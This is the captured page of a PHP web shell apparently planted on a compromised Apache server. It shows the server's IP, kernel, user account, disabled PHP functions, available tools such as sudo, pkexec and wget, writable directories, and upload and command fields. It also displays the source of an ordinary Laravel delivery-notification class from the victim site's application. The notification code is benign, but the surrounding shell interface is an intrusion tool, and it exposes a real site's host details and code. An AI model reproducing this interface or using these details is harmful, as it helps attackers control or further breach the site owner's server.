403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Notifications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Notifications/NotificacaoPedidoEntrega.php
<?php

namespace App\Notifications;

use Illuminate\Bus\Queueable;
use Illuminate\Notifications\Notification;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Notifications\Messages\MailMessage;
use Illuminate\Notifications\Messages\DatabaseMessage;
use App\Services\GeralService;
use App\Services\PedidoEntregaService;
use App\BasicInfo;

class NotificacaoPedidoEntrega extends Notification
{
    use Queueable;
    private $pedidoEntrega;
    private $pedidoEntregaStatus;
    private $pedidoEntregaHasStatus;
    private $url;
    private $basic;

    /**
     * Create a new notification instance.
     *
     * @return void
     */
    public function __construct($pedidoEntrega, $pedidoEntregaStatus, $pedidoEntregaHasStatus, $url)
    {
        $this->pedidoEntrega          = $pedidoEntrega;
        $this->pedidoEntregaStatus    = $pedidoEntregaStatus;
        $this->pedidoEntregaHasStatus = $pedidoEntregaHasStatus;
        $this->url                    = $url;
        $this->basic                  = BasicInfo::first();
    }

    /**
     * Get the notification's delivery channels.
     *
     * @param  mixed  $notifiable
     * @return array
     */
    public function via($notifiable)
    {
        //return ['database'];
        return ['mail', 'database'];
    }

    /**
     * Get the mail representation of the notification.
     *
     * @param  mixed  $notifiable
     * @return \Illuminate\Notifications\Messages\MailMessage
     */
    public function toMail($notifiable)
    {
        $produtos                  = GeralService::buscarProdutosAdega(['id_adega' => $this->pedidoEntrega->id_adega]);
        $assunto                   = PedidoEntregaService::getAssuntoEmail($this->pedidoEntregaHasStatus);
        $pedidoEntregaRastreamento = ($this->pedidoEntregaHasStatus->pedidoEntregaRastreamento ? $this->pedidoEntregaHasStatus->pedidoEntregaRastreamento : FALSE);
        $textoEmail                = PedidoEntregaService::getTextoEmail($this->pedidoEntrega, $this->pedidoEntregaStatus, $this->pedidoEntregaHasStatus->data, $pedidoEntregaRastreamento);
        $view_entrega              = ($this->pedidoEntregaStatus->notificar_cliente ? 'pedido-entrega.pedido-' . trim($this->pedidoEntregaStatus->slug) : 'pedido_entrega_atualizado');
        $transportadora            = PedidoEntregaService::getTransportadora($this->pedidoEntrega);
        $dias_entrega              = PedidoEntregaService::getDiasEntrega($this->pedidoEntrega);
        $hora_entrega              = date('H:i', strtotime($this->pedidoEntregaHasStatus->data));
        $motivo                    = ($pedidoEntregaRastreamento ? $pedidoEntregaRastreamento->descricao : '');

        return (new MailMessage)
                    ->subject($assunto)
                    ->markdown('emails.' . $view_entrega, [
                        'url'                    => url('/perfil/minhas-entregas'), 
                        'textoEmail'             => $textoEmail, 
                        'pedidoEntrega'          => $this->pedidoEntrega, 
                        'produtos'               => $produtos, 
                        'pedidoEntregaHasStatus' => $this->pedidoEntregaHasStatus, 
                        'pedidoEntregaStatus'    => $this->pedidoEntregaStatus, 
                        'basic'                  => $this->basic,
                        'transportadora'         => $transportadora,
                        'dias_entrega'           => $dias_entrega,
                        'hora_entrega'           => $hora_entrega,
                        'motivo'                 => $motivo,
                    ]);
    }

    /**
     * Get the array representation of the notification.
     *
     * @param  mixed  $notifiable
     * @return array
     */
    public function toArray($notifiable)
    {
        return [
            'id_pedido_venda' => $this->pedidoEntrega->id,
            'id_cliente'      => $this->pedidoEntrega->id_cliente,
            'status'          => $this->pedidoEntregaStatus->id
        ];
    }

    // in your notification
    public function toDatabase($notifiable)
    {
        return new DatabaseMessage([
            'id_pedido_venda' => $this->pedidoEntrega->id,
            'id_cliente'      => $this->pedidoEntrega->id_cliente,
            'status'          => $this->pedidoEntregaStatus->id
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit